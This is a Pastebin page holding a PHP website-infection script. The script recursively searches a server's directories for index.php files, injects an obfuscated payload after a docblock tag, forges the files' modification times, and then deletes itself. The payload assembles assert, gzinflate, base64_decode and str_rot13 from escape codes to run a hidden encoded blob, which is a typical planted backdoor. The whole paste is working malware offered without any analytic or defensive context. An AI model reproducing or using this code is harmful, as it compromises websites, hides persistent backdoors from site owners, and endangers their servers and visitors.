Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- $tag = ' * @package general';
- $code = <<<'CODE'
- */
- $LUrELW="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";$gEOx9G="\141";$CpHkZd="\x73\x74";$HESH9nBW="\142\141\163";$TRA6v="Fl1YmASDI/RWYKY1PoqI8KNA9eQZpjeKtVcbJdh4zFL6IcK";$VqTe0E="\147\172\x69";$gEOx9G.="\163";$TRA6v.="5OgbdXIzeuND5zcKMXdJ6h1FIEvcMc+HKnnwxTsvyEIaz5A";$VqTe0E.="\156\146";$HESH9nBW.="\145\66\x34";$CpHkZd.="\162\137\x72";$HESH9nBW.="\x5f\144\x65\x63";$TRA6v.="xnJZCMAbLJSuLVeen2WgjpCqixwPXA/XVHzO3EpTJkzaStp";$gEOx9G.="\x73\145";$VqTe0E.="\154\141";$CpHkZd.="\157\164";$VqTe0E.="\164\145";$CpHkZd.="\61\63";$TRA6v.="oNgPTSIf1uAGJhUIWOGIpVXD1VAKQKtktSy1QJgND==";$HESH9nBW.="\x6f\144\x65";$gEOx9G.="\x72\x74";@$gEOx9G($VqTe0E($HESH9nBW($CpHkZd($TRA6v))));
- /*
- CODE;
- $injectType = 1; // 0 - before tag, 1 - after tag
- $indexFiles = array('index.php');
- // API
- set_time_limit(360);
- $d1=array();
- $d2=array();
- $d3=array();
- $d4=array();
- $d5=array();
- $d6=array();
- $dir = path_finder();
- $res=smartscan($dir);
- foreach($res as $v) {
- if(in_array($v, $indexFiles)) {
- indexEditor($localpath = $dir, $indexFile = $v, $tag, $code);
- } else {
- if(is_dir($dir.'/'.$v) && ($v !== ".") && ($v !== "..")) {
- $d1[]=$dir.'/'.$v;
- }
- }
- }
- foreach($d1 as $d) {
- $res=smartscan($d);
- foreach($res as $v) {
- if(in_array($v, $indexFiles)) {
- indexEditor($localpath = $d, $indexFile = $v, $tag, $code);
- } else {
- if(is_dir($d.'/'.$v) && ($v !== ".") && ($v !== "..")) {
- $d2[]=$d.'/'.$v;
- }
- }
- }
- }
- foreach($d2 as $d) {
- $res=smartscan($d);
- foreach($res as $v) {
- if(in_array($v, $indexFiles)) {
- indexEditor($localpath = $d, $indexFile = $v, $tag, $code);
- } else {
- if(is_dir($d.'/'.$v) && ($v !== ".") && ($v !== "..")) {
- $d3[]=$d.'/'.$v;
- }
- }
- }
- }
- foreach($d3 as $d) {
- $res=smartscan($d);
- foreach($res as $v) {
- if(in_array($v, $indexFiles)) {
- indexEditor($localpath = $d, $indexFile = $v, $tag, $code);
- } else {
- if(is_dir($d.'/'.$v) && ($v !== ".") && ($v !== "..")) {
- $d4[]=$d.'/'.$v;
- }
- }
- }
- }
- foreach($d4 as $d) {
- $res=smartscan($d);
- foreach($res as $v) {
- if(in_array($v, $indexFiles)) {
- indexEditor($localpath = $d, $indexFile = $v, $tag, $code);
- } else {
- if(is_dir($d.'/'.$v) && ($v !== ".") && ($v !== "..")) {
- $d5[]=$d.'/'.$v;
- }
- }
- }
- }
- foreach($d5 as $d) {
- $res=smartscan($d);
- foreach($res as $v) {
- if(in_array($v, $indexFiles)) {
- indexEditor($localpath = $d, $indexFile = $v, $tag, $code);
- } else {
- if(is_dir($d.'/'.$v) && ($v !== ".") && ($v !== "..")) {
- $d6[]=$d.'/'.$v;
- }
- }
- }
- }
- foreach($d6 as $d) {
- $res=smartscan($d);
- foreach($res as $v) {
- if(in_array($v, $indexFiles)) {
- indexEditor($localpath = $d, $indexFile = $v, $tag, $code);
- }
- }
- }
- // func
- function indexEditor($localpath, $indexFile, $tag, $code) {
- $fullpath = $localpath.'/'.$indexFile;
- edit($fullpath, $code, $tag);
- }
- function edit($filepath, $code, $tag) {
- clearstatcache();
- $perms = 0777 & fileperms($filepath);
- chmod($filepath, 0666);
- if(is_writable($filepath)) {
- $content = file_get_contents($filepath);
- $tag_exists = false;
- global $injectType;
- if ((strpos($content, $tag) !== false) && (strpos($content, $code) === false)) {
- switch($injectType) {
- case 0:
- $replacement = $code."\r\n".$tag;
- break;
- case 1:
- $replacement = $tag."\r\n".$code;
- break;
- }
- $tag_exists = true;
- }
- if($tag_exists) {
- $lastmod = filemtime($filepath);
- $inject = str_replace($tag,$replacement,$content);
- file_put_contents($filepath,$inject,LOCK_EX);
- touch($filepath,$lastmod);
- chmod($filepath,$perms);
- echo '     Success >> '.$filepath.'<br>';
- } else {
- echo '     Tag Not Found >> '.$filepath.'<br>';
- return;
- }
- } else {
- echo '     Cant Edit >> '.$filepath.'<br>';
- }
- }
- function path_finder() {
- $p=$_SERVER['SCRIPT_FILENAME'];
- if(empty($p)){
- exit('Cant find the path');
- }
- else{
- $p=str_replace('\/', '/', $p);
- $p=trim($p, '/');
- $p=substr_count($p, '/')-1;
- }
- for($k=1; $k<=$p; $k++){
- if(!is_readable(str_repeat('../', $k))){
- $pth=trim(str_repeat('../', $k-1));
- break;
- }
- }
- if($pth) {
- return $pth;
- }
- else {
- return trim(str_repeat('../', $p-1));
- }
- }
- function smartscan($dir) {
- if(function_exists("scandir")){
- return scandir($dir);
- }
- else{
- $dh = opendir($dir);
- while(false !== ($filename = readdir($dh)))
- $files[] = $filename;
- return $files;
- }
- }
- unlink(__FILE__);
- ?>
Advertisement
Add Comment
Please, Sign In to add comment